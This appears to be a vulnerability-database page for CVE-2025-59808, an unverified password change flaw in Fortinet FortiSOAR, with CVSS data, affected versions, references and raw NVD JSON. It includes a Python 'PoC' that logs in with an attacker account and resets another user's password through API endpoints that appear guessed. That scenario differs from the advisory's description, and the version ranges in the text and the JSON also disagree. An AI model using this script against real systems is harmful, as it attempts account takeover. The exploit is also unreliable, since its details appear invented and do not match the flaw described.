CVE-2025-59808

Description

An unverified password change vulnerability [CWE-620] vulnerability in Fortinet FortiSOAR PaaS 7.6.0 through 7.6.2, FortiSOAR PaaS 7.5.0 through 7.5.1, FortiSOAR PaaS 7.4 all versions, FortiSOAR PaaS 7.3 all versions, FortiSOAR on-premise 7.6.0 through 7.6.2, FortiSOAR on-premise 7.5.0 through 7.5.1, FortiSOAR on-premise 7.4 all versions, FortiSOAR on-premise 7.3 all versions may allow an attacker who has already gained access to a victim's user account to reset the account credentials without being prompted for the account's password

CVSS Details

CVSS Score

6.8

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:fortinet:fortisoar:*:*:*:*:*:*:*:* - VULNERABLE

FortiSOAR PaaS 7.3 (所有版本)

FortiSOAR PaaS 7.4 (所有版本)

FortiSOAR PaaS 7.5.0 - 7.5.1

FortiSOAR PaaS 7.6.0 - 7.6.2

FortiSOAR on-premise 7.3 (所有版本)

FortiSOAR on-premise 7.4 (所有版本)

FortiSOAR on-premise 7.5.0 - 7.5.1

FortiSOAR on-premise 7.6.0 - 7.6.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-59808 PoC - FortiSOAR Unverified Password Change
# Note: This PoC requires a valid authenticated session first

import requests
import json

TARGET_URL = "https://fortisoar.example.com"
TARGET_USER = "target_user"
NEW_PASSWORD = "NewP@ssw0rd123"

session = requests.Session()

# Step 1: Authenticate with existing low-privilege account
login_data = {
    "username": "attacker_account",
    "password": "attacker_password"
}

response = session.post(f"{TARGET_URL}/api/auth/login", json=login_data)
if response.status_code != 200:
    print("[-] Authentication failed")
    exit(1)

print("[+] Successfully authenticated")

# Step 2: Exploit unverified password change vulnerability
# The vulnerability allows changing password without verifying current password
password_change_data = {
    "user_id": TARGET_USER,
    "new_password": NEW_PASSWORD,
    "confirm_password": NEW_PASSWORD
}

response = session.post(
    f"{TARGET_URL}/api/users/password/reset",
    json=password_change_data
)

if response.status_code == 200:
    print(f"[+] Password changed successfully for user: {TARGET_USER}")
    print(f"[+] New password: {NEW_PASSWORD}")
else:
    print(f"[-] Password change failed: {response.status_code}")
    print(f"[-] Response: {response.text}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-59808
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-59808
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-59808/
[4] VulDB https://vuldb.com/cve/CVE-2025-59808
[5] https://fortiguard.fortinet.com/psirt/FG-IR-25-599

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-59808", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:55.337", "lastModified": "2025-12-09T20:11:43.677", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An unverified password change vulnerability [CWE-620] vulnerability in Fortinet FortiSOAR PaaS 7.6.0 through 7.6.2, FortiSOAR PaaS 7.5.0 through 7.5.1, FortiSOAR PaaS 7.4 all versions, FortiSOAR PaaS 7.3 all versions, FortiSOAR on-premise 7.6.0 through 7.6.2, FortiSOAR on-premise 7.5.0 through 7.5.1, FortiSOAR on-premise 7.4 all versions, FortiSOAR on-premise 7.3 all versions may allow an attacker who has already gained access to a victim's user account to reset the account credentials without being prompted for the account's password"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-620"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisoar:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.3.0", "versionEndExcluding": "7.5.2", "matchCriteriaId": "AB556BB9-A061-45DD-AB46-C583B7CB5108"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisoar:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6.0", "versionEndIncluding": "7.6.3", "matchCriteriaId": "DEB8A1CE-2EB8-43B7-9E9A-0106BF54631E"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-25-599", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}